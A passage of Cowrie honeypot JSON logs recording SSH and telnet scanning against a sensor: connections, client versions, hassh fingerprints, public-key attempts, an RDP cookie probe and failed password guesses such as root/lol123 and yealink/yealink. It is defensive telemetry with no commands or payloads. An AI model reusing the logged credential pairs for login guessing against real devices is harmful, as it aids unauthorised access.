es128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:17.135284Z","src_ip":"103.77.175.15","session":"29f8329fa769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.27797484397888,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:17.870821Z","src_ip":"152.42.224.71","session":"26d9a16f9b9e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"lol123","message":"login attempt [root/lol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:17.912020Z","src_ip":"103.77.175.15","session":"29f8329fa769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32960,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d79c20c8617","protocol":"ssh","message":"New connection: 176.65.132.129:32960 (159.203.135.109:22) [session: 6d79c20c8617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:18.050535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:18.056041Z","src_ip":"176.65.132.129","session":"6d79c20c8617","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:18.138664Z","src_ip":"176.65.132.129","session":"6d79c20c8617","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yealink","password":"yealink","message":"login attempt [yealink/yealink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:18.385636Z","src_ip":"176.65.132.129","session":"6d79c20c8617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.208.91.1","src_port":58666,"dst_ip":"10.17.0.5","dst_port":22,"session":"83f063b2c4a6","protocol":"ssh","message":"New connection: 74.208.91.1:58666 (10.17.0.5:22) [session: 83f063b2c4a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.008782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.013514Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.047667Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.177351Z","src_ip":"103.77.175.15","session":"29f8329fa769","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:0d:72:98:62:69:9f:b7:8c:a8:e6:35:c1:34:62:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3aO1KPu772kDgVV3nFAXjRvqZ4pwlflTheMWC/MInCXcnIBttw4jTRG/Sdf0ze4L5FcV7pSaEZ5AGsy4ZiTZQdkTjCXeHRXOOhh1DHfouQvXAUrl5PIduOP+EC73Xki27tgoNn28zxZ6CO8ewphUNe5MfgjR48xi9FjvKd5eD+EXnFnuLyh8U8IZO4tFZ9V8x7EIOe9612mr0LHFCkX2AGBlEiLSmit1NV+KFkOuz4ZG4r6g5fnOWG1enLb5HJvfPrNiRNtqGC/OysBEKKIMyf3mVDcdQZB+6SnyCLDmdgWI/mDoH+JNkognPUM9S43URNw+RR4bwa5+8dh6iLj5F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:0d:72:98:62:69:9f:b7:8c:a8:e6:35:c1:34:62:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.196648Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:0d:72:98:62:69:9f:b7:8c:a8:e6:35:c1:34:62:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3aO1KPu772kDgVV3nFAXjRvqZ4pwlflTheMWC/MInCXcnIBttw4jTRG/Sdf0ze4L5FcV7pSaEZ5AGsy4ZiTZQdkTjCXeHRXOOhh1DHfouQvXAUrl5PIduOP+EC73Xki27tgoNn28zxZ6CO8ewphUNe5MfgjR48xi9FjvKd5eD+EXnFnuLyh8U8IZO4tFZ9V8x7EIOe9612mr0LHFCkX2AGBlEiLSmit1NV+KFkOuz4ZG4r6g5fnOWG1enLb5HJvfPrNiRNtqGC/OysBEKKIMyf3mVDcdQZB+6SnyCLDmdgWI/mDoH+JNkognPUM9S43URNw+RR4bwa5+8dh6iLj5F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.202781Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d7:56:03:c7:bd:c2:99:6d:db:d7:32:0f:e5:75:ce:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtFwcJWq5zzRkDSkf1vuXm8Lirn9vq/YceaQTdx/pzegKfYdLqM/n7ugAQ+L5l24DDOFy6j8ibiFTh+5O7Bo05Igf2TnHti0w6x1UgdM6fe1/l3Vb9/CKGgaXFcBIiaopSZwepCEKdy7+R+hwn6ZPegLkJ2RswdRwkU0XFKx47DFxJLCPY4R0k6cvFdS0uCEDaC58A7DIfZG/wP8IbLKfp9uLpZtGqAukfRTGE4wS6rGRkW54UgRFm/he98i8tCi+DGSGahAnpXpRByquVqIOUqLpgPgkItflZpY/uB6JxRlwLYklCF07fecKDBx5pYpK2EflNdI3oAtM1BOSGVCL1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d7:56:03:c7:bd:c2:99:6d:db:d7:32:0f:e5:75:ce:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.237983Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d7:56:03:c7:bd:c2:99:6d:db:d7:32:0f:e5:75:ce:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtFwcJWq5zzRkDSkf1vuXm8Lirn9vq/YceaQTdx/pzegKfYdLqM/n7ugAQ+L5l24DDOFy6j8ibiFTh+5O7Bo05Igf2TnHti0w6x1UgdM6fe1/l3Vb9/CKGgaXFcBIiaopSZwepCEKdy7+R+hwn6ZPegLkJ2RswdRwkU0XFKx47DFxJLCPY4R0k6cvFdS0uCEDaC58A7DIfZG/wP8IbLKfp9uLpZtGqAukfRTGE4wS6rGRkW54UgRFm/he98i8tCi+DGSGahAnpXpRByquVqIOUqLpgPgkItflZpY/uB6JxRlwLYklCF07fecKDBx5pYpK2EflNdI3oAtM1BOSGVCL1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.242707Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:48:e2:e3:f6:cd:0f:63:bd:d9:ec:a2:09:ac:09:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3ONLYFL+vaaYOvAej7CGpOP2S41/5ySpATvs9DFN4kQfiYsdsID1PM4hNQWUz0/4YohYhtmGBhx2vnJD2imDd5nASfBhbpgSQXmQYTeIZQLn0I/fPEpkcNdBQNcLiP1fJdK/i0f+LfUg0BrhwYEpD2FqK9nGkWKd3Ay9aFumaWpoMLRAD8zstukG8GFSupN4AdOOoN14MVJLm9ndP7/FuXid+7S5CUJilg8PGZrvWSGCK3Yn0phsWZzTAmf+Df3ttgGoXzxwaJizZXA0BQzNrGi56Uz9DKsmIB1UCBPgCMO7DSOF+5NPQm7LVK/MPs/Z8IeAcV2CaX9F7lzUsa4tb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:48:e2:e3:f6:cd:0f:63:bd:d9:ec:a2:09:ac:09:8b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.278215Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:48:e2:e3:f6:cd:0f:63:bd:d9:ec:a2:09:ac:09:8b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3ONLYFL+vaaYOvAej7CGpOP2S41/5ySpATvs9DFN4kQfiYsdsID1PM4hNQWUz0/4YohYhtmGBhx2vnJD2imDd5nASfBhbpgSQXmQYTeIZQLn0I/fPEpkcNdBQNcLiP1fJdK/i0f+LfUg0BrhwYEpD2FqK9nGkWKd3Ay9aFumaWpoMLRAD8zstukG8GFSupN4AdOOoN14MVJLm9ndP7/FuXid+7S5CUJilg8PGZrvWSGCK3Yn0phsWZzTAmf+Df3ttgGoXzxwaJizZXA0BQzNrGi56Uz9DKsmIB1UCBPgCMO7DSOF+5NPQm7LVK/MPs/Z8IeAcV2CaX9F7lzUsa4tb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.281916Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:c1:2d:4e:6e:6f:45:06:50:0b:d3:d9:72:ce:06:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw88GTeRz9ruhH1N/l4NUopDa01DtjCJ30hQfLxrLMPwOdVUPpKJoxp+EUI7kRdYspHh/3j6AmePiIAPaPBE/NSBTTaJGK14K2xMOvh8aut6QtlrUW6VV2EmdvuWHxyPzq5IrNmG5czeG9ctJMNyNAXIgj98yvTarKXUg8OgGSG9R0w1dxEYGBN+C1PFIBCzyDcIEkOC6GJ5gVDYucrhamOxDiVB5yZ3OmnwagvitK4jxH/BKJfJ9kDaFGVNwPj/Awna/en4hf4TAhV7Q2080PgYBP8JjaTvpibsMg6U0I49s54bReDfQSaReAg6JoVM5Pc162a9mZb7FO1L3TfknP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:c1:2d:4e:6e:6f:45:06:50:0b:d3:d9:72:ce:06:5a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.316514Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:c1:2d:4e:6e:6f:45:06:50:0b:d3:d9:72:ce:06:5a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDw88GTeRz9ruhH1N/l4NUopDa01DtjCJ30hQfLxrLMPwOdVUPpKJoxp+EUI7kRdYspHh/3j6AmePiIAPaPBE/NSBTTaJGK14K2xMOvh8aut6QtlrUW6VV2EmdvuWHxyPzq5IrNmG5czeG9ctJMNyNAXIgj98yvTarKXUg8OgGSG9R0w1dxEYGBN+C1PFIBCzyDcIEkOC6GJ5gVDYucrhamOxDiVB5yZ3OmnwagvitK4jxH/BKJfJ9kDaFGVNwPj/Awna/en4hf4TAhV7Q2080PgYBP8JjaTvpibsMg6U0I49s54bReDfQSaReAg6JoVM5Pc162a9mZb7FO1L3TfknP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.320056Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:d0:8b:6d:87:01:c1:09:83:f6:af:b6:16:c4:ee:45","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGupduipGzdN/HFOTuCwjQNBmRMbS5deySPg2bq0mxAk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9f:d0:8b:6d:87:01:c1:09:83:f6:af:b6:16:c4:ee:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.354749Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:d0:8b:6d:87:01:c1:09:83:f6:af:b6:16:c4:ee:45","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGupduipGzdN/HFOTuCwjQNBmRMbS5deySPg2bq0mxAk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.360707Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.396836Z","src_ip":"74.208.91.1","session":"83f063b2c4a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:19.469632Z","src_ip":"176.65.132.129","session":"6d79c20c8617","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48848,"dst_ip":"10.17.0.5","dst_port":23,"session":"8745f5ce4c76","protocol":"telnet","message":"New connection: 152.42.224.71:48848 (10.17.0.5:23) [session: 8745f5ce4c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:20.758437Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51372,"dst_ip":"159.203.135.109","dst_port":22,"session":"56c5f1a2d2f5","protocol":"ssh","message":"New connection: 152.42.212.128:51372 (159.203.135.109:22) [session: 56c5f1a2d2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:21.103472Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:21.108701Z","src_ip":"152.42.212.128","session":"56c5f1a2d2f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:21.113161Z","src_ip":"152.42.212.128","session":"56c5f1a2d2f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32974,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4cd24e9885a","protocol":"ssh","message":"New connection: 176.65.132.129:32974 (159.203.135.109:22) [session: d4cd24e9885a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:21.259493Z"}
{"eventid":"cowrie.session.closed","duration":89.51533603668213,"message":"Connection lost after 89 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:21.334547Z","src_ip":"152.42.224.71","session":"1cb531570d0d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:21.384520Z","src_ip":"176.65.132.129","session":"d4cd24e9885a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:21.388338Z","src_ip":"176.65.132.129","session":"d4cd24e9885a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48864,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f1066c9ea3a","protocol":"telnet","message":"New connection: 152.42.224.71:48864 (10.17.0.5:23) [session: 8f1066c9ea3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:21.669265Z"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar123","message":"login attempt [oscar/oscar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:21.778264Z","src_ip":"176.65.132.129","session":"d4cd24e9885a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:22.867483Z","src_ip":"176.65.132.129","session":"d4cd24e9885a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.54.176.203","src_port":49544,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7cdefffab92","protocol":"ssh","message":"New connection: 62.54.176.203:49544 (159.203.135.109:22) [session: f7cdefffab92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:24.479192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:24.483929Z","src_ip":"62.54.176.203","session":"f7cdefffab92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:24.624252Z","src_ip":"62.54.176.203","session":"f7cdefffab92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32982,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd5ef3619109","protocol":"ssh","message":"New connection: 176.65.132.129:32982 (159.203.135.109:22) [session: cd5ef3619109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:24.726516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:24.731266Z","src_ip":"176.65.132.129","session":"cd5ef3619109","protocol":"ssh"}
